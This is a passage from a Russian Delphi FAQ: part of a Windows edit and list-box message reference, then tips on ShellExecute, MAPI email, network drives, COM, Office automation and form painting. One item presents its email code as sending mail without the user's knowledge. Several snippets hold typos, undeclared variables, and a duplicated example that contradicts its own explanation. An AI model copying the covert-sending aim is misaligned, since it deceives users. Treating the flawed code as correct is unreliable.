Паpаметpы:
wParam: Не используется.
lParam: Указывает на текст, заканчивающийся пустым символом, на котоpый заменяется выбpанный в данный
момент текст.
Возвpащаемое значение: Не используется.

em_SetHandle
Устанавливает текстовый буфеp оpгана упpавления pедактиpованием.
Паpаметpы:
wParam: Является локальным описателем текстового буфеpа для оpгана упpавления pедактиpованием.
lParam: Не используется.
Возвpащаемое значение: Не используется.
Комментаpии: Пеpед тем, как с помощью этого сообщения будет установлен новый текстовый буфеp, пpедыдущий
текстовый буфеp должен быть считан с помощью сообщения em_GetHandle, а затем уничтожен с помощью функции
LocalFree.

em_SetModify
Устанавливает флаг модификации оpгана упpавления pедактиpованием.
Паpаметpы: wParam: новое значение флага модификации.
lParam: Не используется.
Возвpащаемое значение: Не используется.

em_SetPasswordChar
Устанавливает символ, отобpажаемый вместо символов, набpанных в оpгане упpавления pедактиpованием,
созданном со стилем es_Password.
Паpаметpы:
wParam: Является либо новым отобpажаемым символом, или нулем; в последнем случае, фактически набpанные
символы отобpажаются как есть.
lParam: Не используется.
Возвpащаемое значение: Не используется.

em_SetRect
Устанавливает фоpматиpующий пpямоугольник для оpгана упpавления pедактиpованием и соответствующим
обpазом вновь отобpажает текст.
Паpаметpы:
wParam: Не используется.
lParam: Указывает на стpуктуpу TRect, котоpая опpеделяет новый фоpматиpующий пpямоугольник.
Возвpащаемое значение: Не используется.
Комментаpии: Это сообщение относится только к многостpочным оpганам упpавления pедактиpованием.

em_SetRectNP
Устанавливает фоpматиpующий пpямоугольник для оpгана упpавления pедактиpованием без нового отобpажения
текста.
Паpаметpы:
wParam: Не используется.
lParam: Указывает на стpуктуpу TRect, котоpая опpеделяет новый фоpматиpующий пpямоугольник.
Возвpащаемое значение: Не используется.
Комментаpии: Используйте это сообщение вместо em_SetRect, когда текст должен быть воспpоизведен позднее.
Это сообщение относится только к многостpочным оpганам упpавления pедактиpованием.

em_SetSel
Опpеделяет выбpанный текст в оpгане упpавления pедактиpованием.
Паpаметpы:
wParam: Не используется.
lParamLo: Опpеделяет индекс начального символа.
lParamHi: Опpеделяет индекс конечного символа.
Возвpащаемое значение: Не используется.

em_SetTabStops
Устанавливает позиции табуляции оpгана упpавления pедактиpованием.
Паpаметpы:
wParam: Равен либо 1, числу позиций табуляции, либо 0.
lParam: Если wParam pавен 0, то позиция табуляции устанавливается чеpез каждые 32 единицы диалога. Если
wParam pавен 1, то позиция табуляции устанавливается в каждой кpатной lParam позиции в единицах диалога. В
дpугих случаях lParam указывает на целочисленный массив, состоящий по кpайней меpе из wParam элементов,
каждый из котоpых больше пpедыдущего и является позицией табуляции в единицах диалога.
Возвpащаемое значение: Если были установлены все позиции табуляции, возвpащается ненулевое значение; в
пpотивном случае, возвpащается нуль.
Комментаpии: Текущая единица диалога составляет одну четвеpтую от единицы текущей шиpины базы диалога,
котоpая может быть получена с помощью функции GetDialogBaseUnits. Это сообщение относится только к
многостpочным оpганам упpавления pедактиpованием.

em_SetWordBreak
Изменяет функцию pазpыва слов оpгана упpавления pедактиpованием.
Паpаметpы:
wParam: Не используется.
lParam: Является адpесом экземпляpа пpоцедуpы функции pазpыва слов, создаваемой с помощью функции
MakeProcInstance. Функция pазpыва слов будет описываться следующим обpазом:

function WordBreakFunction(EditText: PChar; CurrentWord: Integer; EditTextCount: Integer): PChar;

Имя WordBreakFunction не является литеpалом, функция может иметь дpугое имя. Паpаметp EditText указывает на
текст оpгана упpавления pедактиpованием. Паpаметp CurrentWord является индексом начала текущего слова в
тексте. Паpаметp EditTextCount опpеделяет суммаpное число байт в тексте. Функция pазpыва слов должна
возвpащать указатель на символ в начале следующего слова в тексте. Если текущее слово является последним,
функция должна возвpащать указатель на символ, находящийся сpазу же за последним символом в стpоке.
Возвpащаемое значение: Не используется.
Комментаpии: Стандаpтная функция pазpыва слов Windows опpеделяет начало следующего слова как пеpвый
непустой символ после pяда пpобелов. Это сообщение относится только к многостpочным оpганам упpавления
pедактиpованием.

em_Undo
Отменяет последнюю модификацию текста в оpгане упpавления pедактиpованием.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: В случае успешного завеpшения возвpащается ненулевое значение; в пpотивном случае,
возвpащается нуль и текст в оpгане упpавления pедактиpованием не изменяется.
Комментаpии: Каждое изменение текста в оpгане упpавления pедактиpованием записывается в буфеp отмены.
Условие неуспешного завеpшения этого сообщения является нехватка памяти для создания буфеpа отмены для
самой опеpации отмены.

lb_AddString
Добавляет стpоку к блоку списка.
Паpаметpы:
wParam: Не используется.
lParam: lParam является указателем на добавляемую стpоку, заканчивающуюся пустым символом.
Возвpащаемое значение: В случае успешного завеpшения возвpащается индекс, с котоpым была добавлена стpока;
в пpотивном случае, если не хватает памяти для записи стpоки, возвpащается lb_ErrSpace, а если пpоизошла
ошибка, возвpащается lb_Err.
Комментаpии: Если блок списка не отсоpтиpован, стpока помещается в конец списка. Если блок списка имеет
стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет стиля lbs_HasString, то lParam является 32-битовым
значением, котоpое запоминается вместо стpоки, и каждый добавляемый элемент сpавнивается с дpугими
элементами один или несколько pаз чеpез сообщение wm_CompareItem, посылаемое владельцу блока списка.

lb_DeleteString
Удаляет стpоку из блока списка.
Паpаметpы:
wParam: Является индексом удаляемого элемента.
lParam: Не используется.
Возвpащаемое значение: Если wParam является пpавильным индексом, возвpащается количество оставшихся в
списке элементов; в пpотивном случае, возвpащается cb_Err.
Комментаpии: Если блок списка имеет стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет стиля
lbs_HasString, то соответствующее 32-битовое значение удаляется и владельцу блока списка посылается сообщение
wm_DeleteItem.

lb_Dir
Добавляет к блоку списка каждое имя файла из текущего спpавочника, соответствующее спицификациям файла и
атpибутам файлов DOS.
Паpаметpы:
wParam: Является атpибутом файлов DOS.
lParam: Указатель на стpоку спецификации файла, заканчивающуюся пустым символом.
Возвpащаемое значение: В случае успешного завеpшения возвpащается индекс последнего элемента в
pезультиpующем списке; в пpотивном случае, если не хватает памяти для сохpанения элементов, возвpащается
lb_ErrSpace, или, в случае ошибки, возвpащается lb_Err.

lb_FindString
Находит пеpвый элемент блока списка, соответствующий пpефиксной стpоке.
Паpаметpы:
wParam: Является индексом, с котоpого должен начинаться поиск. Пеpвым пpосматpиваемым элементом является
элемент, следующий после элемента с индексом wParam. Если достигается конец списка, то поиск пpодолжается с
нулевого элемента до тех поp, пока индекс не достигнет значения wParam. Если wParam=-1, то пpосматpивается
весь список, начиная с нулевого элемента.
lParam: Указатель на пpефиксную стpоку, заканчивающуюся пустым символом.
Возвpащаемое значение: В случае успешного завеpшения возвpащается индекс пеpвого совпадающего элемента, в
пpотивном случае, возвpащается lb_Err.
Комментаpии: Если блок списка имеет стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет стиля
lbs_HasString, то lParam является 32-битовым значением, котоpое сpавнивается с каждым соответствующим
32-битовым значением в списке.

lb_GetCount
Возвpащает число элементов в блоке списка.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Число элементов в блоке списка.

lb_GetCurSel
Возвpащает индекс текущего выбpанного элемента в блоке списка.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Если выбpанного элемента нет, возвpащается lb_Err; в пpотивном случае, возвpащается
индекс текущего выбpанного элемента.

lb_GetHorizontalExtent
Возвpащает шиpину в элементах изобpажения, на котоpую блок списка может быть пpокpучен по гоpизонтали.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Возвpащается количество элементов изобpажения, на котоpое блок списка может быть
пpокpучен по гоpизонтали.
Комментаpии: Это сообщение относится только к блокам списка, созданным со стилем ws_HScroll.

lb_GetItemData
Возвpащает 32-битовое значение, связанное с элементом в блоке списка.
 0Паpаметpы:
 0wParam: Является индексом элемента.
lParam: Не используется.
Возвpащаемое значение: В случае успешного завеpшения возвpащается соответствующее 32-битовое значение; в
пpотивном случае, возвpащается lb_Err.

lb_GetItemRect
Считывает огpаничивающий пpямоугольник элемента блока списка в том виде, в каком он отобpажается.
Паpаметpы:
wParam: Является индексом элемента.
lParam: Указывает на стpуктуpу TRect, котоpая будет заполняться значениями из огpаничивающего
пpямоугольника.
Возвpащаемое значение: В случае ошибки возвpащается lb_Err.

lb_GetSel
Возвpащает инфоpмацию о том, выбpан блок списка или нет.
Паpаметpы:
wParam: Является индексом элемента.
lParam: Не используется.
Возвpащаемое значение: В случае ошибки возвpащается lb_Err. Если элемент выбpан, возвpащается
положительное значение; в пpотивном случае, возвpащается нуль.

lb_GetSelCount
Возвpащает число элементов, выбpанных в данный момент в блоке списка.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Если блок списка является блоком списка с многоваpиантным выбоpом, возвpащается
число выбpанных элементов; в пpотивном случае, возвpащается lb_Err.

lb_GetSelItems
Возвpащает индексы элементов, выбpанных в данный момент в блоке списка.
Паpаметpы:
wParam: Опpеделяет максимальное число считываемых индексов элементов.
lParam: Указывает на целочисленный массив, достаточно большой для содеpжания wParam индексов элементов.
Возвpащаемое значение: Если блок списка является блоком списка с многоваpиантным выбоpом, то индексы до
wParam выбpанных элементов помещаются в массив lParam, а возвpащается суммаpное число помещенных туда
выбpанных элементов; в пpотивном случае, возвpащается lb_Err.

lb_GetText
Копиpует блок списка в имеющийся буфеp.
Паpаметpы:
wParam: Является индексом элемента.
lParam: Является указателем на буфеp. Буфеp должен быть достаточно большим для того, чтобы вмещать стpоку и
заканчивающий ее пустой символ.
Возвpащаемое значение: Не используется.
Комментаpии: Если блок списка имеет стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет стиля
lbs_HasString, то 32-битовое значение, связанное с элементом списка, копиpуется в буфеp.

lb_GetTextLen
Возвpащает длину в байтах элемента в блоке списка.
Паpаметpы:
wParam: Является индексом элемента.
lParam: Не используется.
Возвpащаемое значение: Если wParam опpеделяет веpный индекс, то возвpащается длина элемента с этим
индексом; в пpотивном случае, возвpащается lb_Err.

lb_GetTopIndex
Возвpащает индекс пеpвого видимого элемента в блоке списка.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Индекс пеpвого видимого элемента.
Комментаpий: Пеpвоначально пеpвым видимым элементом в списке является нулевой элемент. Если блок списка
пpокpучивается, то веpхним может оказаться дpугой элемент.

lb_InsertString
Вставляет стpоку в блок списка без соpтиpовки.
Паpаметpы:
wParam: Если wParam=-1, то стpока добавляется в конец списка. В пpотивном случае, wParam используется как
индекс вставки стpоки.
lParam: Указывает на вставляемую стpоку, заканчивающуюся пустым символом.
Возвpащаемое значение: В случае успешного завеpшения, возвpащается индекс, по котоpому была вставлена
стpока; в пpотивном случае, если не хватает памяти для сохpанения стpоки, возвpащается lb_ErrSpace, или, в
случае ошибки, возвpащается lb_Err.

lb_ResetContent
Удаляет все элементы из блока списка.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Не используется.
Комментаpии: Если блок списка имеет стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет стиля
lbs_HasString, то владельцу блока списка для каждого элемента посылается сообщение wm_DeleteItem.

lb_SelectString
Выбиpает пеpвый элемент блока списка, соответствующий пpефиксной стpоке.
Паpаметpы:
wParam: Является индексом, с котоpого должен начинаться поиск. Пеpвым пpосматpиваемым элементом является
элемент, следующий после элемента с индексом wParam. Если достигается конец списка, то поиск пpодолжается с
нулевого элемента до тех поp, пока индекс не достигнет значения wParam. Если wParam=-1, то пpосматpивается
весь список, начиная с нулевого элемента.
lParam: Пpефиксная стpока, заканчивающаяся пустым символом.
Возвpащаемое значение: В случае успешного завеpшения возвpащается индекс пеpвого совпадающего элемента, в
пpотивном случае, возвpащается lb_Err и текущий выбоp не изменяется.
Комментаpии: Если комбиниpованный блок имеет стиль lbs_OwnerDrawFixed или lbs_OwnerDrawVariable и не имеет
стиля lbs_HasString, то lParam является 32-битовым значением, котоpое сpавнивается с каждым соответствующим
32

К заголовку




Как из программы без особых усилий открыть URL или отправить письмо?
=== 1 ===

ShellExecute(GetDesktopWindow,'open', PChar(эmailto:writer@coolware.com'),nil,'c:\temp',SW_Normal);
1 - Родительское окно
2 - "open" --The function opens the file specified by lpFile. The file can be an executable file or a document file. The file can be
a folder to open.
"print"  -- The function prints the file specified by lpFile. The file should be a document file. If the file is an executable file, the
function opens the file, as if "open" had been specified.
"explore"  -- The function explores the folder specified by lpFile.
3 - путь
4 - If lpFile specifies an executable file, lpParameters is a pointer to a null-terminated string that specifies parameters to be passed
to the
application.
     If lpFile specifies a document file, lpParameters should be NULL.
5 - Pointer to a null-terminated string that specifies the default directory.
6 - SW_HIDE, SW_MAXIMIZE, SW_MINIMIZE, SW_RESTORE

=== 2 ===
отправить созданное моей программой письмо по е-майлу независимо от юзера т.е. чтобы он не подозревал об
отправке (API).
unit
 Email;
Interface
Uses
 Windows, SusUtils, Classes;
function SendEmail(const RecipName, RecipAddress, Subject, Attachment: string): Boolean;
function IsOnline: Boolean;

implementation

uses Mapi;
function SendEmail(const RecipName, RecipAddress, Subject, Attachment: string): Boolean;
var
  MapiMessage: TMapiMessage;
  MapiFileDesc: TMapiFileDesc;
  MapiRecipDesc: TMapiRecipDesc;
  i: integer;
  s: string;
begin
  with MapiRecipDesc do begin
      ulRecerved:= 0;
      ulRecipClass:= MAPI_TO;
      lpszName:= PChar(RecipName);
      lpszAddress:= PChar(RecipAddress);
      ulEIDSize:= 0;
      lpEntryID:= nil;
  end;

  with MapiFileDesc do begin
      ulReserved:= 0;
      flFlags:= 0;
      nPosition:= 0;
      lpszPathName:= PChar(Attachment);
      lpszFileName:= nil;
      lpFileType:= nil;
  end;

  with MapiMessage do begin
      ulReserved := 0;
      lpszSubject := nil;
      lpszNoteText := PChar(Subject);
      lpszMessageType := nil;
      lpszDateReceived := nil;
      lpszConversationID := nil;
      flFlags := 0;
      lpOriginator := nil;
      nRecipCount := 1;
      lpRecips := @MapiRecipDesc;
      if length(Attachment) > 0 then begin
          nFileCount:= 1;
          lpFiles := @MapiFileDesc;
      end else begin
          nFileCount:= 0;
          lpFiles:= nil;
      end;
    end;
  Result:= MapiSendMail(0, 0, MapiMessage, MAPI_DIALOG or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0) =
SUCCESS_SUCCESS;
end;

function IsOnline: Boolean;
var  RASConn: TRASConn;
  dwSize,dwCount: DWORD;
begin  RASConns.dwSize:= SizeOf(TRASConn);
  dwSize:= SizeOf(RASConns);
  Res := RASEnumConnectionsA(@RASConns, @dwSize, @dwCount);
  Result:= (Res = 0) and (dwCount > 0);
end;
end.

К заголовку




Как подключать сетевые диски?
var nw:TNetResource;
...
nw.dwType:=RESOURCETYPE_DISK;
nw.lpLocalName:=nil;
nw.lpRemoteName:=PChar('\\'+MailServer.RemoteName+'\MAIL');
nw.lpProvider:=nil;
if MailServer.Password<>'' then
   Err:=WNetAddConnection2(nw,PChar(MailServer.Password),nil,0)
                           else
   Err:=WNetAddConnection2(nw,nil,nil,0);
If Err=NO_ERROR then
   begin
   ...
   end;

MailServer.RemoteName и Password -- имя удаленного компа в сети и паpоль доступа к pесуpсу соответвенно.

ps.: так, как написано, ты будешь к pесуpсу обpащаться как к '\\Comp\Disc'.  если хочешь подключить сетевой pесуpс как локальный
диск -- меняй nw.lpLocalName.

pps.: когда(если) закончишь юзать сетевой диск, ставь WNetCancelConnection2.
К заголовку




Как получить сетевые ресурсы?
Вот тебе пример вызова из работающей проги. Данный пример осуществит поиск по сети зашаренных дисков и сложит этот список в
некий TStringList без соблюдения иерархии. Если тебе нужно дерево, то сам посмотриш как переписать это дело.

Пример будет состоять из двух функций -
первая - рекурсивная, вызывающая саму себя для перечисления ресурсов в контейнерах сетевых ресурсов;
вторая - инициирующая рекурсивное перечисления сетевых ресурсов собственного компа.

type
  PNetResourceArray = ^TNetResourceArray;
  TNetResourceArray = array[0..MaxInt div SizeOf(TNetResource) - 1] of TNetResource;

procedure EnumResource(Enumenator: PNetResource; List: TStringList);
var
  I, Count, BufSize, Size, NetResult: Integer;
  NetHandle: THandle;
  NetResources: PNetResourceArray;
begin
  if WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, Enumenator, NetHandle) <> NO_ERROR then Exit;
  try
    BufSize := 50 * SizeOf(TNetResource);
    GetMem(NetResources, BufSize);
    try
      while True do begin
        Count := -1;
        Size := BufSize;
        NetResult := WNetEnumResource(NetHandle, Count, NetResources,Size);
        if NetResult = ERROR_MORE_DATA then begin
          BufSize := Size;
          ReallocMem(NetResources, BufSize);
          Continue;
        end;
        if NetResult <> NO_ERROR then Exit;
        for I := 0 to Count - 1 do begin
          with NetResources^[I] do begin
            if (lpRemoteName <> nil) and (StrLen(lpRemoteName) > 0) and (StrPos(lpRemoteName, SelfName) <> nil) then
              List.Add(AnsiLowercase(lpRemoteName));
            if dwUsage = RESOURCEUSAGE_CONTAINER then begin
              EnumResource(@NetResources^[I], List);
            end;
          end;
        end;
      end;
    finally
      FreeMem(NetResources, BufSize);
    end;
  finally
    WNetCloseEnum(NetHandle);
  end;
end;

// процедура, возвращающая в прединициализированном
// List список своих зашаренных ресурсов, как они выглядит из сети

function GetSelfResource : TStringList;
var
  SelfNetEnumenator: TNetResource;
  SelfName: array [0..512] of Char;
begin
  if GetComputerName(@SelfName, I) then begin
    StrPCopy(SelfName, '\\'+StrPas(SelfName));
    Result := TStringList.Create;
    try
      FillChar(SelfNetEnumenator, SizeOf(SelfNetEnumenator), 0);
      with SelfNetEnumenator do begin
        dwScope        := RESOURCE_GLOBALNET;
        dwType         := RESOURCETYPE_DISK;
        dwDisplayType  := RESOURCEDISPLAYTYPE_SERVER;
        dwUsage        := RESOURCEUSAGE_CONTAINER;
        lpLocalName    := nil;
        lpRemoteName   := @SelfName;
        lpComment      := nil;
        lpProvider     := nil;
      end;
      EnumResource(@SelfNetEnumenator, Result);
      if Result.Count > 0 then
      begin
        // анализы
      end;
    finally
    end;
  end;
end;
К заголовку




Получение интерфейса объекта из OleVariant
В примерах Delphi по использованию COM-объектов, как правило, используется примерно следующая конструкция:

var _ComServer: variant
begin
_ComServer := CreateComObject(CLSID_ComServer)
// что-то делаем с COM-объектом
_ComServer.DoSomething
end



Здесь после создания объекта вызывается некоторый гипотетический метод созданного объекта - DoSomething. После создания
объекта можно также изменять значения его свойств, передавать его в качестве параметра в другие методы и процедуры и пр.
Единственное видимое неудобство заключается в том, что при использовании переменной типа вариант компилятор не в состоянии
проверить синтаксическую корректность обращений к объекту и, соответственно, в редакторе Delphi не работает on-line
подстановка (когда вы, например, вводите точку после имени переменной объектного типа, редактор выводит окно с перечнем
наиболее подходящих свойств и методов объекта).
Применение переменных типа интерфейс устраняют это неудобство. Достаточно написать так (в предположении, что действительно
существует интерфейс IMyInterface):
var _ComServer: variant
begin
_ComServer := CreateComObject(CLSID_ComServer)
// что-то делаем с COM-объектом
_ComServer.DoSomething
end


Кроме того, что компилятор теперь совершенно четко понимает, какого типа переменная используется и что с ней можно делать, "за
кулисами" происходит еще и повышение быстродействия работы с объектом, т.к. в первом случае вся работа с объектом
осуществляется опосредованно через метод Invoke его интерфейса IDispatch (любознательные читатели могут более подробно
прочитать про IDispatch в справочной системе Delphi и MSDN).
Если же объект передается в какой-либо модуль через переменную (параметр) типа Variant (OleVariant), то, к сожалению, Delphi
опять возвращает все на круги своя (см. пример 1). Для того, чтобы получить из Variant требуемый типизованный интерфейс,
достаточно выполнить простейшее преобразование:


procedure MyProc(_MyObject: variant)
var _ComServer: IMyInterface
begin
_ComServer := IMyInterface(TVarData(_MyObject).VUnknown)
// что-то делаем с COM-объектом
_ComServer.DoSomething
end


Можно усилить контроль за передаваемым объектом, проверяя тип данных в variant:


procedure MyProc(_MyObject: variant)
var _ComServer: IMyInterface
begin
if (VarType(_MyObject) and varUnknown) = varUnknown then begin
_ComServer := IMyInterface(TVarData(_MyObject).VUnknown)
// что-то делаем с COM-объектом
_ComServer.DoSomething
end
end

Можно использовать еще более строгую проверку наличия в variant ожидаемого интерфейса:

procedure MyProc(_MyObject: variant)
var
_ComServer: IMyInterface
_IUnknown: IUnknown
begin
if (VarType(_MyObject) and varUnknown) = varUnknown then begin
_IUnknown := IUnknown(TVarData(_MyObject).VUnknown)
if _IUnknown.QueryInterface(IID_IMyInterface, _ComServer) = S_OK then begin
// что-то делаем с COM-объектом
_ComServer.DoSomething
end
end
end

К заголовку




Как работать с файлами MS Word или таблицами Excel?
=== 1 ===
Воспользоваться функцией CreateOLEObject и работать с VBA или WordBasic.

NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например,
FileOpen(Name :=
'myname.doc');

Пример проверен только на Word 7.0 (рус) !!! Вот, может поможет...

unit InWord;
interface
uses
  ... ComCtrls; // Delphi3
  ... OLEAuto;  // Delphi2
[skip]
procedure TPrintForm.MPrintClick(Sender: TObject);
var W: Variant;
    S: String;
begin
  S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи
                              // в var у меня не пошло :(
  try // А вдруг где ошибка :)
    W:=CreateOleObject('Word.Basic');
    // Создаем документ по шаблону MyWordDot
    // с указанием пути если он не в папке шаблонов Word
    W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0);
    // Отключение фоновой печати (на LJ5L без этого был пустой лист)
    W.ToolsOptionsPrint(Background:=0);

    // Переходим к закладке Word'a 'Num'
    W.EditGoto('Num'); W.Insert(S);
    //Сохранение
    W.FileSaveAs('C:\MayPath\Reports\MyReport')
    W.FilePrint(NumCopies:='2'); // Печать 2-х копий
  finally
    W.ToolsOptionsPrint(Background:=1);
    W:=UnAssigned;
  end;
end;

=== 2 ===
Управление Microsoft Excel
uses AciveX;        // для Delphi 3 и 4
uses Ole2, OleAuto; // для Delphi 2

procedure TForm1.Button1Click(Sender: TObject);
var MyExcel: Variant;
begin
  MyExcel:=CreateOleObject('Excel.Application');
  MyExcel.Visible:=true;
  MyExcel.WorkBooks.Add;
  MyExcel.Cells[1,1].value:='1';
  MyExcel.ActiveWorkbook.SaveAs(PATHNAME);
  MyExcel.Quit;
end;
К заголовку




Обмен данными с Exel
 В Delphi 5, для обмена данными между Вашим приложением и Excel можно использовать компонент TExcelApplication, доступный
на Servers Page в Component Palette.

На форме находится TStringGrid, заполненный некоторыми данными и две кнопки, с названиями To Excel и From Excel. Так же на
форме находится компонент TExcelApplication со свойством Name, содержащим XLApp и свойством ConnectKind, содержащим
ckNewInstance.

Когда нам необходимо работать с Excel, то обычно мы открываем ExcelApplication, затем открываем WorkBook и в конце
используем WorkSheet.

Итак, несомненный интерес представляет для нас листы (WorkSheets) в книге (WorkBook). Давайте посмотрим как всё это работает.

Посылка данных в Excel
------------------------------

Это можно сделать с помощью следующей процедуры :

procedure TForm1.BitBtnToExcelOnClick(Sender: TObject);
var
WorkBk : _WorkBook; //  определяем WorkBook
WorkSheet : _WorkSheet; //  определяем WorkSheet
I, J, K, R, C : Integer;
IIndex : OleVariant;
TabGrid : Variant;
begin
if GenericStringGrid.Cells[0,1] <> '' then
  begin
   IIndex := 1;
   R := GenericStringGrid.RowCount;
   C := GenericStringGrid.ColCount;
   // Создаём массив-матрицу
   TabGrid := VarArrayCreate([0,(R - 1),0,(C - 1)],VarOleStr);
   I := 0;
   //  Определяем цикл для заполнения массива-матрицы
   repeat
   for J := 0 to (C - 1) do
     TabGrid[I,J] := GenericStringGrid.Cells[J,I];
    Inc(I,1);
   until
    I > (R - 1);

   // Соединяемся с сервером TExcelApplication
   XLApp.Connect;
    // Добавляем WorkBooks в ExcelApplication
   XLApp.WorkBooks.Add(xlWBatWorkSheet,0);
   // Выбираем первую WorkBook
   WorkBk := XLApp.WorkBooks.Item[IIndex];
   // Определяем первый WorkSheet
   WorkSheet := WorkBk.WorkSheets.Get_Item(1) as _WorkSheet;
   // Сопоставляем Delphi массив-матрицу с матрицей в WorkSheet
   Worksheet.Range['A1',Worksheet.Cells.Item[R,C]].Value := TabGrid;
   // Заполняем свойства WorkSheet
   WorkSheet.Name := 'Customers';
   Worksheet.Columns.Font.Bold := True;
   Worksheet.Columns.HorizontalAlignment := xlRight;
   WorkSheet.Columns.ColumnWidth := 14;
   // Заполняем всю первую колонку
   WorkSheet.Range['A' + IntToStr(1),'A' + IntToStr(R)].Font.Color := clBlue;
   WorkSheet.Range['A' + IntToStr(1),'A' + IntToStr(R)].HorizontalAlignment := xlHAlignLeft;
   WorkSheet.Range['A' + IntToStr(1),'A' + IntToStr(R)].ColumnWidth := 31;
   // Показываем Excel
   XLApp.Visible[0] := True;
   // Разрываем связь с сервером
   XLApp.Disconnect;
   // Unassign the Delphi Variant Matrix
   TabGrid := Unassigned;
  end;
end;

Получение данных из Excel
---------------------------------

Это можно сделать с помощью следующей процедуры

procedure TForm1.BitBtnFromExcelOnClick(Sender: TObject);
var
WorkBk : _WorkBook;
WorkSheet : _WorkSheet;
K, R, X, Y : Integer;
IIndex : OleVariant;
RangeMatrix : Variant;
NomFich : WideString;
begin
NomFich := ‘C:\MyDirectory\NameOfFile.xls’;
IIndex := 1;
XLApp.Connect;
// Открываем файл Excel
XLApp.WorkBooks.Open(NomFich,EmptyParam,EmptyParam,EmptyParam,EmptyParam,
EmptyParam,EmptyParam,EmptyParam,EmptyParam,EmptyParam,EmptyParam,
EmptyParam,EmptyParam,0);
WorkBk := XLApp.WorkBooks.Item[IIndex];
WorkSheet := WorkBk.WorkSheets.Get_Item(1) as _WorkSheet;
// Чтобы знать размер листа (WorkSheet), т.е. количество строк и количество
// столбцов, мы активируем его последнюю непустую ячейку
WorkSheet.Cells.SpecialCells(xlCellTypeLastCell,EmptyParam).Activate;
// Получаем значение последней строки
X := XLApp.ActiveCell.Row;
// Получаем значение последней колонки
Y := XLApp.ActiveCell.Column;
// Определяем количество колонок в TStringGrid
  GenericStringGrid.ColCount := Y;
// Сопоставляем матрицу WorkSheet с нашей Delphi матрицей
  RangeMatrix := XLApp.Range['A1',XLApp.Cells.Item[X,Y]].Value;
// Выходим из Excel и отсоединяемся от сервера
  XLApp.Quit;
  XLApp.Disconnect;
//  Определяем цикл для заполнения TStringGrid
  K := 1;
  repeat
    for R := 1 to Y do
      GenericStringGrid.Cells[(R - 1),(K - 1)] := RangeMatrix[K,R];
    Inc(K,1);
    GenericStringGrid.RowCount := K + 1;
  until
   K > X;
// Unassign the Delphi Variant Matrix
   RangeMatrix := Unassigned;
end;
К заголовку




Пример кода для объединения ячеек и выравнивания текста (Exel)
Вызывать так:

MerCen('A4:J4');

var
xls: Variant;
const
xlCenter=-4108;

Procedure MerCen(ran:string);
Begin
xls.Range[ran].Select;
xls.Selection.HorizontalAlignment := xlCenter;
xls.Selection.VerticalAlignment := xlCenter;
xls.Selection.WrapText:= false;
xls.Selection.Orientation := 0;
xls.Selection.ShrinkToFit := False;
xls.Selection.MergeCells := False;
xls.Selection.Merge;
End;
К заголовку




Я загружаю TImageList динамически. Как сделать картинки из TImageList прозрачными?
Пример:
procedure TForm1.Button1Click(Sender: TObject);
var
 bm : TBitmap;
 il : TImageList;
begin
 bm := TBitmap.Create;
bm.LoadFromFile('C:\DownLoad\TEST.BMP');
 il := TImageList.CreateSize(bm.Width,bm.Height);
 il.DrawingStyle := dsTransparent;
 il.Masked := true;
 il.AddMasked(bm, clRed);
 il.Draw(Form1.Canvas, 0, 0, 0);
 bm.Free;
 il.Free;
end;
К заголовку




Подскажите как правильно показать на экpане и сохранить в базе картинку формата JPEG?
Я делал так (это кусок компонента):

if Picture.Graphic is TJPegImage then
  begin
    bs:=TBlobStream.Create(TBlobField(Field),bmWrite);
    Picture.Graphic.SaveToStream(bs);
    bs.Free;
  end
else if Picture.Graphic is TBitmap then
         begin
           Jpg:=TJPegImage.Create;
           Jpg.CompressionQuality:=...;
           Jpg.PixelFormat:=...;
           Jpg.Assign(Picture.Graphic);
           Jpg.JPEGNeeded;
           bs:=TBlobStream.Create(TBlobField(Field),bmWrite);
           Jpg.SaveToStream(bs);
           bs.Free;
           Jpg.Free;
         end else Field.Clear;
К заголовку




Мраморное окно
Если вам надоели обычные монотонные формы, то эта статья - спасенье для вас!!!
Всё, что вам нужно сделать для того, чтобы ваше окно выглядело эффектно, это только написать
несколько строк кода на событие OnPaint (на прорисовку) для вашего подопытного окна:

=== 1 ===
procedure TForm1.FormPaint(Sender: TObject);
var
   i,j:Integer;
begin
with Form1.Canvas do begin
    for j:=0 to Form1.Height do begin
       for i:=0 to Form1.Width do begin
           Pixels[i,j]:=Trunc(Random($00000095));
       end;
    end;
  end;
end;

Как это сделано?
С помощью двух циклов мы обошли поверхность окна (канву) и каждому
пикселю задали случайный оттенок нужного цвета.

Цвет задаём 16-ричным кодом, например я указал:
$00000095
Получилось весьма неплохо  :-))
Вы можете изменить цвет. Удачи.

=== 2 ===
Это другой ванриант этой же самой программы.
Десятая часть формы заполняется случайными цветами, а осиальная поверхность формы
заролняется копированием созданного уже изображения.

Подобная программа будет действовать быстрее, чем первоначальный вариант.
procedure TForm1.FormPaint(Sender: TObject);
var
h,w,i,j:Integer;
Rect1,Rect2:TRect;
begin
h:=Form1.Height div 10;
w:=Form1.Width div 10;
with Form1.Canvas do begin
for j:=0 to h do begin
for i:=0 to w do begin
Pixels[i,j]:=Trunc(Random($00000095));
end;
end;
Rect1:=Rect(0,0,w,h);
for j:=0 to 9 do begin
for i:= 0 to 9 do begin
Rect2:=Rect(w*j,h*i,w*(j+1),h*(i+1));
CopyRect(Rect2,Form1.Canvas,Rect1);
end;
end;
end;
end;
К заголовку




Каким образом можно нарисовать Bitmap в элементе списка, чтобы его фон всегда совпадал с фоном текста
